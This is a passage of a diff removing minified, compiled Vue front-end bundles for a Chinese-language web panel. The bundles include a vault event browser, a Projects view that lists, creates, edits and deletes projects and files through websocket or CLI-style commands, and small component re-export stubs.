",-1))]),_:1},8,["loading"])]),_:1})]),c(h,{gutter:16,class:"browser-layout"},{default:m(()=>[c(d,{xs:24,sm:24,md:6,lg:5,xl:4},{default:m(()=>[c(e.CategorySidebar,{selected:e.store.filters.category,facets:e.store.facets,onSelect:e.onCategorySelect},null,8,["selected","facets"])]),_:1}),c(d,{xs:24,sm:24,md:18,lg:19,xl:20},{default:m(()=>[v("div",Me,[c(e.SearchFilterBar,{filters:e.store.filters,facets:e.store.facets,"is-loading":e.store.isLoading,mode:e.store.mode,"short-query":e.store.shortQuery,onSetFilter:e.onSetFilter,onReset:t[1]||(t[1]=y=>{e.store.reset(),e.store.search()})},null,8,["filters","facets","is-loading","mode","short-query"]),v("div",ze,[e.store.isLoading&&e.store.results.length===0?(u(),O("span",Ge,[c(_,{size:"small"}),t[7]||(t[7]=b(" 载入中… ",-1))])):(u(),O(V,{key:1},[v("strong",null,R(e.store.facets.total),1),t[11]||(t[11]=b(" 条事件 ",-1)),e.store.filters.category?(u(),O("span",Ue,[t[8]||(t[8]=b(" / 当前类目 ",-1)),v("strong",null,R(e.categoryLabel(e.store.filters.category)),1),v("strong",null,R(e.store.facets.byCategory[e.store.filters.category]||0),1)])):x("v-if",!0),e.store.filters.q?(u(),O("span",Qe,[t[9]||(t[9]=b(' / 关键词 "',-1)),v("em",null,R(e.store.filters.q),1),t[10]||(t[10]=b('"',-1))])):x("v-if",!0),v("span",He," / 已显示 "+R(e.store.results.length),1)],64))]),e.store.error?(u(),C(j,{key:0,type:"error","show-icon":"",message:e.store.error,closable:"",style:{margin:"12px 0"}},null,8,["message"])):x("v-if",!0),!e.store.isLoading&&e.store.results.length===0&&!e.store.error?(u(),C(A,{key:1,description:e.emptyHint,style:{"margin-top":"40px"}},null,8,["description"])):x("v-if",!0),v("div",Ke,[(u(!0),O(V,null,se(e.store.results,(y,k)=>(u(),C(e.RendererDispatcher,{key:`r-${k}-${y.id}`,event:y},null,8,["event"]))),128))]),e.store.canLoadMore?(u(),O("div",We,[c(s,{loading:e.store.isAppending,onClick:t[2]||(t[2]=y=>e.store.loadMore()),block:""},{default:m(()=>[...t[12]||(t[12]=[b(" 加载下一页 (50 条) ",-1)])]),_:1},8,["loading"])])):x("v-if",!0)])]),_:1})]),_:1})])}const nt=D(Ve,[["render",Ye],["__scopeId","data-v-0f7c02cd"],["__file","/tmp/cc-web-panel-Jx0izG/repo/packages/web-panel/src/views/PdhVaultBrowser.vue"]]);export{nt as default};
@@ -1 +0,0 @@
1
- import{I as i,J as I,U,R as s,Q as r,c as t,K as a,V as _,S as x,o as oe,b as ee,r as u,P as p,F as ne,a2 as ge}from"./vendor-Bn1JzzAn.js";import{_ as we,b as re,u as ie,d}from"./index-Ne8UGllV.js";import{u as de}from"./useShellMode-CgR0wCYM.js";import{aN as ke,aO as Fe,aP as be,f as je,a5 as Ce,a8 as xe,at as Oe,R as Se}from"./icons-DG5UD-6K.js";const Pe={__name:"Projects",setup(se,{expose:l}){l();const{t:te}=re(),e=ie(),{isEmbedded:J}=de();async function w(o,f,ye,ae=8e3){if(J){const Z=await e.sendRaw({...f,type:o},ae);if(!Z?.ok){const $=Z?.error;throw new Error(typeof $=="string"?$:$?.message||`${o} failed`)}return Z.result}return e.executeJson(ye,ae)}const B=u(!1),y=u([]),O=u(""),S=u(""),P=u(!1),v=u(null),h=u([]),k=u(!1),E=u(!1),L=u(!1),F=u({name:"",description:"",type:"document",rootPath:""}),z=[{title:"ID",key:"id",width:110},{title:"名称",key:"name"},{title:"类型",key:"project_type",width:120},{title:"状态",key:"status",width:100},{title:"同步",key:"sync_status",width:100},{title:"更新",key:"updated_at",width:160},{title:"操作",key:"actions",width:180,fixed:"right"}],V=ee(()=>{const o={active:0,draft:0,completed:0,archived:0};for(const f of y.value)o[f.status]!==void 0&&(o[f.status]+=1);return o}),W=ee(()=>y.value.filter(o=>!(O.value&&o.status!==O.value||S.value&&!o.name.toLowerCase().includes(S.value.toLowerCase()))));function g(o){switch(o){case"active":return"green";case"draft":return"default";case"completed":return"cyan";case"archived":return"gold";default:return"default"}}function G(o){switch(o){case"synced":return"green";case"pending":return"orange";case"conflict":return"red";case"error":return"red";default:return"default"}}function K(o){return!o&&o!==0?"-":new Date(typeof o=="number"?o:parseInt(o,10)).toLocaleString("zh-CN",{hour12:!1})}async function C(){B.value=!0;try{const o=await w("project.list",{limit:500},"project list --limit 500 --json",1e4);y.value=Array.isArray(o?.projects)?o.projects:Array.isArray(o)?o:[]}catch(o){d.error("加载失败: "+(o.message||o)),y.value=[]}finally{B.value=!1}}function Q(o){return{onClick:()=>M(o)}}async function M(o){v.value=o,P.value=!0,k.value=!0,h.value=[];try{const f=await w("project.listFiles",{projectId:o.id,limit:200},`project list-files ${o.id} --json`,8e3);h.value=Array.isArray(f?.files)?f.files:[]}catch{h.value=[]}finally{k.value=!1}}async function H(o){try{(await w("project.delete",{id:o.id},`project delete ${o.id} --json`,8e3))?.ok?(d.success(`已删除项目 '${o.name}'`),P.value=!1,await C()):d.error("删除失败")}catch(f){d.error(f.message||String(f))}}function X(){F.value={name:"",description:"",type:"document",rootPath:""},E.value=!0}async function T(){if(!F.value.name.trim()){d.warning("请输入项目名称");return}L.value=!0;try{const o=await w("project.init",{name:F.value.name.trim(),description:F.value.description||null,projectType:F.value.type,rootPath:F.value.rootPath||null},`project init "${F.value.name.trim()}" --type ${F.value.type} --json`,8e3);o?.id?(d.success(`已创建项目 '${o.name}'`),E.value=!1,await C()):d.error("创建失败")}catch(o){d.error(o.message||String(o))}finally{L.value=!1}}const b=u(!1),D=u(!1),j=u({path:"",content:""}),A=u(!1),m=u(!1),R=u({path:""}),n=u(!1),c=u(null),q=u(""),Y=u(!1);function ue(){j.value={path:"",content:""},b.value=!0}function ce(){R.value={path:""},A.value=!0}async function N(){if(v.value){k.value=!0;try{const o=await w("project.listFiles",{projectId:v.value.id,limit:200},`project list-files ${v.value.id} --json`,8e3);h.value=Array.isArray(o?.files)?o.files:[]}catch(o){d.error("刷新文件失败: "+(o.message||o))}finally{k.value=!1}}}async function fe(){if(!j.value.path.trim()){d.warning("请输入文件路径");return}if(v.value){D.value=!0;try{const o=await w("project.createFile",{projectId:v.value.id,filePath:j.value.path.trim(),content:j.value.content||""},`project create-file ${v.value.id} "${j.value.path.trim()}" --json`,8e3);o?.id?(d.success(`已创建文件 '${o.file_name}'`),b.value=!1,await N(),await C()):d.error("创建文件失败")}catch(o){d.error(o.message||String(o))}finally{D.value=!1}}}async function pe(){if(!R.value.path.trim()){d.warning("请输入文件夹路径");return}if(v.value){m.value=!0;try{const o=await w("project.createFolder",{projectId:v.value.id,folderPath:R.value.path.trim()},`project create-folder ${v.value.id} "${R.value.path.trim()}" --json`,8e3);o?.id?(d.success(`已创建文件夹 '${o.file_name}'`),A.value=!1,await N(),await C()):d.error("创建文件夹失败")}catch(o){d.error(o.message||String(o))}finally{m.value=!1}}}async function ve(o){try{(await w("project.deleteFile",{fileId:o.id},`project delete-file ${o.id} --json`,8e3))?.deleted?(d.success(`已删除 '${o.file_name}'`),await N(),await C()):d.error("删除失败")}catch(f){d.error(f.message||String(f))}}async function me(o){if(o.is_folder){d.info("文件夹无内容可编辑");return}try{const f=await w("project.getFile",{fileId:o.id},`project get-file ${o.id} --json`,8e3);c.value=o,q.value=f?.content||"",n.value=!0}catch(f){d.error("读取文件失败: "+(f.message||f))}}async function _e(){if(c.value){Y.value=!0;try{(await w("project.writeFile",{fileId:c.value.id,content:q.value},`project write-file ${c.value.id} --json`,8e3))?.id?(d.success("已保存"),n.value=!1,await N()):d.error("保存失败")}catch(o){d.error(o.message||String(o))}finally{Y.value=!1}}}oe(()=>{C()});const le={t:te,ws:e,isEmbedded:J,callProjectTopic:w,loading:B,projects:y,statusFilter:O,nameFilter:S,detailOpen:P,detail:v,files:h,filesLoading:k,createOpen:E,creating:L,newProject:F,columns:z,countByStatus:V,filteredProjects:W,statusColor:g,syncColor:G,formatTime:K,loadAll:C,onRowClick:Q,openDetail:M,onDelete:H,onShowCreate:X,onCreate:T,createFileOpen:b,creatingFile:D,newFile:j,createFolderOpen:A,creatingFolder:m,newFolder:R,editFileOpen:n,editingFile:c,editFileContent:q,savingFile:Y,openCreateFile:ue,openCreateFolder:ce,refreshFiles:N,onCreateFile:fe,onCreateFolder:pe,onDeleteFile:ve,openEditFile:me,onSaveFile:_e,ref:u,computed:ee,onMounted:oe,get ReloadOutlined(){return Se},get PlusOutlined(){return Oe},get FolderOutlined(){return xe},get FileTextOutlined(){return Ce},get CheckCircleOutlined(){return je},get CheckSquareOutlined(){return be},get FileAddOutlined(){return Fe},get FolderAddOutlined(){return ke},get message(){return d},get useI18n(){return re},get useWsStore(){return ie},get useShellMode(){return de}};return Object.defineProperty(le,"__isScriptSetup",{enumerable:!1,value:!0}),le}},ze={style:{display:"flex","align-items":"center","justify-content":"space-between","margin-bottom":"24px"}},Ae={class:"page-title"},Ie={class:"page-sub"},Ue={class:"filter-bar",style:{"margin-bottom":"12px",display:"flex",gap:"12px","align-items":"center"}},he={key:0,style:{"font-size":"12px",color:"#888"}},De={key:0,style:{color:"#888","font-size":"12px"}},Re={key:0},Te={key:1,style:{color:"#888"}},Be=["onClick"],Ee={key:0,style:{color:"#888","font-size":"12px"}};function Le(se,l,te,e,J,w){const B=i("router-link"),y=i("a-button"),O=i("a-space"),S=i("a-statistic"),P=i("a-card"),v=i("a-col"),h=i("a-row"),k=i("a-radio-button"),E=i("a-radio-group"),L=i("a-input-search"),F=i("a-alert"),z=i("a-tag"),V=i("a-popconfirm"),W=i("a-table"),g=i("a-descriptions-item"),G=i("a-descriptions"),K=i("a-divider"),C=i("a-empty"),Q=i("a-list-item"),M=i("a-list"),H=i("a-spin"),X=i("a-drawer"),T=i("a-input"),b=i("a-form-item"),D=i("a-textarea"),j=i("a-form"),A=i("a-modal"),m=i("a-select-option"),R=i("a-select");return p(),I("div",null,[U("div",ze,[U("div",null,[U("h2",Ae,s(e.t("projects.title")),1),U("p",Ie,[l[17]||(l[17]=r("桌面 / CLI / 手机 三端共享同一份项目数据,Phase 3d sync 自动同步 (",-1)),t(B,{to:"/project-init"},{default:a(()=>[...l[16]||(l[16]=[r("项目初始化 / 环境设置",-1)])]),_:1}),l[18]||(l[18]=r(")",-1))])]),t(O,null,{default:a(()=>[t(y,{loading:e.loading,onClick:e.loadAll},{icon:a(()=>[t(e.ReloadOutlined)]),default:a(()=>[l[19]||(l[19]=r(" 刷新 ",-1))]),_:1},8,["loading"]),t(y,{type:"primary",onClick:e.onShowCreate},{icon:a(()=>[t(e.PlusOutlined)]),default:a(()=>[l[20]||(l[20]=r(" 新建项目 ",-1))]),_:1})]),_:1})]),_(" Stats "),t(h,{gutter:[16,16],style:{"margin-bottom":"20px"}},{default:a(()=>[t(v,{xs:12,sm:8,lg:6},{default:a(()=>[t(P,{style:{background:"var(--bg-card)","border-color":"var(--border-color)"}},{default:a(()=>[t(S,{title:"总项目",value:e.projects.length,"value-style":{color:"#1677ff",fontSize:"20px"}},{prefix:a(()=>[t(e.FolderOutlined)]),_:1},8,["value"])]),_:1})]),_:1}),t(v,{xs:12,sm:8,lg:6},{default:a(()=>[t(P,{style:{background:"var(--bg-card)","border-color":"var(--border-color)"}},{default:a(()=>[t(S,{title:"活跃",value:e.countByStatus.active,"value-style":{color:"#52c41a",fontSize:"20px"}},{prefix:a(()=>[t(e.CheckCircleOutlined)]),_:1},8,["value"])]),_:1})]),_:1}),t(v,{xs:12,sm:8,lg:6},{default:a(()=>[t(P,{style:{background:"var(--bg-card)","border-color":"var(--border-color)"}},{default:a(()=>[t(S,{title:"草稿",value:e.countByStatus.draft,"value-style":{color:"#8c8c8c",fontSize:"20px"}},{prefix:a(()=>[t(e.FileTextOutlined)]),_:1},8,["value"])]),_:1})]),_:1}),t(v,{xs:12,sm:8,lg:6},{default:a(()=>[t(P,{style:{background:"var(--bg-card)","border-color":"var(--border-color)"}},{default:a(()=>[t(S,{title:"已完成",value:e.countByStatus.completed,"value-style":{color:"#13c2c2",fontSize:"20px"}},{prefix:a(()=>[t(e.CheckSquareOutlined)]),_:1},8,["value"])]),_:1})]),_:1})]),_:1}),_(" Filter "),U("div",Ue,[t(E,{value:e.statusFilter,"onUpdate:value":l[0]||(l[0]=n=>e.statusFilter=n),size:"small","button-style":"solid"},{default:a(()=>[t(k,{value:""},{default:a(()=>[...l[21]||(l[21]=[r("全部",-1)])]),_:1}),t(k,{value:"active"},{default:a(()=>[...l[22]||(l[22]=[r("活跃",-1)])]),_:1}),t(k,{value:"draft"},{default:a(()=>[...l[23]||(l[23]=[r("草稿",-1)])]),_:1}),t(k,{value:"completed"},{default:a(()=>[...l[24]||(l[24]=[r("已完成",-1)])]),_:1}),t(k,{value:"archived"},{default:a(()=>[...l[25]||(l[25]=[r("已归档",-1)])]),_:1})]),_:1},8,["value"]),t(L,{value:e.nameFilter,"onUpdate:value":l[1]||(l[1]=n=>e.nameFilter=n),placeholder:"按名称过滤",style:{"max-width":"260px"},"allow-clear":""},null,8,["value"])]),!e.projects.length&&!e.loading?(p(),x(F,{key:0,type:"info",message:"还没有项目",description:'运行 `cc project init <name>` 或点击右上角"新建项目"按钮创建。桌面 / CLI / 手机三端共享同一份数据。',"show-icon":"",style:{"margin-bottom":"16px"}})):_("v-if",!0),e.projects.length||e.loading?(p(),x(W,{key:1,columns:e.columns,"data-source":e.filteredProjects,loading:e.loading,pagination:{pageSize:20,showSizeChanger:!0},"row-key":"id","custom-row":e.onRowClick},{bodyCell:a(({column:n,record:c})=>[n.key==="id"?(p(),I("code",he,s(c.id.slice(0,8))+"…",1)):n.key==="name"?(p(),I(ne,{key:1},[U("strong",null,s(c.name),1),c.description?(p(),I("div",De,s(c.description),1)):_("v-if",!0)],64)):n.key==="project_type"?(p(),x(z,{key:2},{default:a(()=>[r(s(c.project_type),1)]),_:2},1024)):n.key==="status"?(p(),x(z,{key:3,color:e.statusColor(c.status)},{default:a(()=>[r(s(c.status),1)]),_:2},1032,["color"])):n.key==="sync_status"?(p(),x(z,{key:4,color:e.syncColor(c.sync_status)},{default:a(()=>[r(s(c.sync_status||"unknown"),1)]),_:2},1032,["color"])):n.key==="updated_at"?(p(),I(ne,{key:5},[r(s(e.formatTime(c.updated_at)),1)],64)):n.key==="actions"?(p(),x(O,{key:6,onClick:l[2]||(l[2]=ge(()=>{},["stop"]))},{default:a(()=>[t(y,{size:"small",onClick:q=>e.openDetail(c)},{default:a(()=>[...l[26]||(l[26]=[r("详情",-1)])]),_:1},8,["onClick"]),t(V,{title:`删除项目 '${c.name}' ?`,"ok-text":"删除","ok-type":"danger","cancel-text":"取消",onConfirm:q=>e.onDelete(c)},{default:a(()=>[t(y,{size:"small",danger:""},{default:a(()=>[...l[27]||(l[27]=[r("删除",-1)])]),_:1})]),_:1},8,["title","onConfirm"])]),_:2},1024)):_("v-if",!0)]),_:1},8,["data-source","loading"])):_("v-if",!0),_(" Detail drawer "),t(X,{open:e.detailOpen,"onUpdate:open":l[3]||(l[3]=n=>e.detailOpen=n),title:e.detail?.name||"项目详情",width:"640",placement:"right"},{default:a(()=>[e.detail?(p(),x(G,{key:0,column:1,bordered:"",size:"small"},{default:a(()=>[t(g,{label:"ID"},{default:a(()=>[U("code",null,s(e.detail.id),1)]),_:1}),t(g,{label:"名称"},{default:a(()=>[r(s(e.detail.name),1)]),_:1}),t(g,{label:"描述"},{default:a(()=>[r(s(e.detail.description||"-"),1)]),_:1}),t(g,{label:"类型"},{default:a(()=>[t(z,null,{default:a(()=>[r(s(e.detail.project_type),1)]),_:1})]),_:1}),t(g,{label:"状态"},{default:a(()=>[t(z,{color:e.statusColor(e.detail.status)},{default:a(()=>[r(s(e.detail.status),1)]),_:1},8,["color"])]),_:1}),t(g,{label:"同步状态"},{default:a(()=>[t(z,{color:e.syncColor(e.detail.sync_status)},{default:a(()=>[r(s(e.detail.sync_status||"unknown"),1)]),_:1},8,["color"])]),_:1}),t(g,{label:"用户"},{default:a(()=>[r(s(e.detail.user_id),1)]),_:1}),t(g,{label:"根路径"},{default:a(()=>[e.detail.root_path?(p(),I("code",Re,s(e.detail.root_path),1)):(p(),I("span",Te,"(无)"))]),_:1}),t(g,{label:"文件数"},{default:a(()=>[r(s(e.detail.file_count||0),1)]),_:1}),t(g,{label:"创建"},{default:a(()=>[r(s(e.formatTime(e.detail.created_at)),1)]),_:1}),t(g,{label:"更新"},{default:a(()=>[r(s(e.formatTime(e.detail.updated_at)),1)]),_:1})]),_:1})):_("v-if",!0),t(K,null,{default:a(()=>[...l[28]||(l[28]=[r("文件",-1)])]),_:1}),_(" Sub-phase 7.3 (2026-05-17): 文件 CRUD toolbar "),t(O,{style:{"margin-bottom":"12px"}},{default:a(()=>[t(y,{size:"small",type:"primary",disabled:!e.detail,onClick:e.openCreateFile},{default:a(()=>[t(e.FileAddOutlined),l[29]||(l[29]=r(" 新建文件 ",-1))]),_:1},8,["disabled"]),t(y,{size:"small",disabled:!e.detail,onClick:e.openCreateFolder},{default:a(()=>[t(e.FolderAddOutlined),l[30]||(l[30]=r(" 新建文件夹 ",-1))]),_:1},8,["disabled"])]),_:1}),t(H,{spinning:e.filesLoading},{default:a(()=>[!e.files.length&&!e.filesLoading?(p(),x(C,{key:0,description:"无文件 (点上方按钮新建)"})):(p(),x(M,{key:1,size:"small","data-source":e.files},{renderItem:a(({item:n})=>[t(Q,null,{extra:a(()=>[t(O,null,{default:a(()=>[n.file_size?(p(),I("span",Ee,s(n.file_size)+" B",1)):_("v-if",!0),t(V,{title:`删除 ${n.is_folder?"文件夹":"文件"} '${n.file_name}' ?`,"ok-text":"删除","ok-type":"danger","cancel-text":"取消",onConfirm:c=>e.onDeleteFile(n)},{default:a(()=>[t(y,{size:"small",danger:""},{default:a(()=>[...l[31]||(l[31]=[r("×",-1)])]),_:1})]),_:1},8,["title","onConfirm"])]),_:2},1024)]),default:a(()=>[U("span",{style:{cursor:"pointer"},onClick:c=>e.openEditFile(n)},s(n.is_folder?"📁":"📄")+" "+s(n.file_path),9,Be)]),_:2},1024)]),_:1},8,["data-source"]))]),_:1},8,["spinning"])]),_:1},8,["open","title"]),_(" Sub-phase 7.3: Create file modal "),t(A,{open:e.createFileOpen,"onUpdate:open":l[6]||(l[6]=n=>e.createFileOpen=n),title:"新建文件","confirm-loading":e.creatingFile,"ok-text":"创建","cancel-text":"取消",onOk:e.onCreateFile},{default:a(()=>[t(j,{layout:"vertical"},{default:a(()=>[t(b,{label:"文件路径(项目内)",required:""},{default:a(()=>[t(T,{value:e.newFile.path,"onUpdate:value":l[4]||(l[4]=n=>e.newFile.path=n),placeholder:"例如 README.md 或 src/main.kt"},null,8,["value"])]),_:1}),t(b,{label:"初始内容(可选)"},{default:a(()=>[t(D,{value:e.newFile.content,"onUpdate:value":l[5]||(l[5]=n=>e.newFile.content=n),rows:6,placeholder:"留空创建空文件"},null,8,["value"])]),_:1})]),_:1})]),_:1},8,["open","confirm-loading"]),_(" Sub-phase 7.3: Create folder modal "),t(A,{open:e.createFolderOpen,"onUpdate:open":l[8]||(l[8]=n=>e.createFolderOpen=n),title:"新建文件夹","confirm-loading":e.creatingFolder,"ok-text":"创建","cancel-text":"取消",onOk:e.onCreateFolder},{default:a(()=>[t(j,{layout:"vertical"},{default:a(()=>[t(b,{label:"文件夹路径(项目内)",required:""},{default:a(()=>[t(T,{value:e.newFolder.path,"onUpdate:value":l[7]||(l[7]=n=>e.newFolder.path=n),placeholder:"例如 src/utils"},null,8,["value"])]),_:1})]),_:1})]),_:1},8,["open","confirm-loading"]),_(" Sub-phase 7.3: Edit file content modal "),t(A,{open:e.editFileOpen,"onUpdate:open":l[10]||(l[10]=n=>e.editFileOpen=n),title:`编辑 ${e.editingFile?.file_name||""}`,"confirm-loading":e.savingFile,"ok-text":"保存","cancel-text":"取消",onOk:e.onSaveFile,width:"720"},{default:a(()=>[t(D,{value:e.editFileContent,"onUpdate:value":l[9]||(l[9]=n=>e.editFileContent=n),rows:18,"auto-size":{minRows:12,maxRows:24},style:{"font-family":"monospace"}},null,8,["value"])]),_:1},8,["open","title","confirm-loading"]),_(" Create modal "),t(A,{open:e.createOpen,"onUpdate:open":l[15]||(l[15]=n=>e.createOpen=n),title:"新建项目","confirm-loading":e.creating,"ok-text":"创建","cancel-text":"取消",onOk:e.onCreate},{default:a(()=>[t(j,{layout:"vertical"},{default:a(()=>[t(b,{label:"项目名称",required:""},{default:a(()=>[t(T,{value:e.newProject.name,"onUpdate:value":l[11]||(l[11]=n=>e.newProject.name=n),placeholder:"例如:旅行计划-上海"},null,8,["value"])]),_:1}),t(b,{label:"描述"},{default:a(()=>[t(D,{value:e.newProject.description,"onUpdate:value":l[12]||(l[12]=n=>e.newProject.description=n),rows:2},null,8,["value"])]),_:1}),t(b,{label:"类型"},{default:a(()=>[t(R,{value:e.newProject.type,"onUpdate:value":l[13]||(l[13]=n=>e.newProject.type=n)},{default:a(()=>[t(m,{value:"document"},{default:a(()=>[...l[32]||(l[32]=[r("文档 (document)",-1)])]),_:1}),t(m,{value:"data"},{default:a(()=>[...l[33]||(l[33]=[r("数据 (data)",-1)])]),_:1}),t(m,{value:"web"},{default:a(()=>[...l[34]||(l[34]=[r("Web",-1)])]),_:1}),t(m,{value:"app"},{default:a(()=>[...l[35]||(l[35]=[r("应用 (app)",-1)])]),_:1}),t(m,{value:"presentation"},{default:a(()=>[...l[36]||(l[36]=[r("演示文稿",-1)])]),_:1}),t(m,{value:"spreadsheet"},{default:a(()=>[...l[37]||(l[37]=[r("表格",-1)])]),_:1}),t(m,{value:"design"},{default:a(()=>[...l[38]||(l[38]=[r("设计",-1)])]),_:1}),t(m,{value:"code"},{default:a(()=>[...l[39]||(l[39]=[r("代码",-1)])]),_:1}),t(m,{value:"workflow"},{default:a(()=>[...l[40]||(l[40]=[r("工作流",-1)])]),_:1}),t(m,{value:"knowledge"},{default:a(()=>[...l[41]||(l[41]=[r("知识库",-1)])]),_:1})]),_:1},8,["value"])]),_:1}),t(b,{label:"根路径 (可选)"},{default:a(()=>[t(T,{value:e.newProject.rootPath,"onUpdate:value":l[14]||(l[14]=n=>e.newProject.rootPath=n),placeholder:"留空则仅元数据"},null,8,["value"])]),_:1})]),_:1})]),_:1},8,["open","confirm-loading"])])}const Je=we(Pe,[["render",Le],["__scopeId","data-v-019ac5aa"],["__file","/tmp/cc-web-panel-Jx0izG/repo/packages/web-panel/src/views/Projects.vue"]]);export{Je as default};
@@ -1 +0,0 @@
1
- import{Q as r}from"./index-Ne8UGllV.js";const o=((n,a,e)=>{r(n,`[ant-design-vue: ${a}] ${e}`)});export{o as d};
@@ -1 +0,0 @@
1
- import{A as o}from"./Row-CPdqZIUX.js";import{a0 as t}from"./index-Ne8UGllV.js";import"./vendor-Bn1JzzAn.js";import"./responsiveObserve-D36Bg2ut.js";import"./useFlexGapSupport-DyH5g7Rg.js";import"./styleChecker-2pT-T8vy.js";import"./index-BNe2lCk6.js";import"./icons-DG5UD-6K.js";const l=t(o);export{l as default};
@@ -1 +0,0 @@
1
- import{C as o}from"./Col-DdAN8LeW.js";import{a0 as t}from"./index-Ne8UGllV.js";import"./vendor-Bn1JzzAn.js";import"./index-BNe2lCk6.js";import"./icons-DG5UD-6K.js";const s=t(o);export{s as default};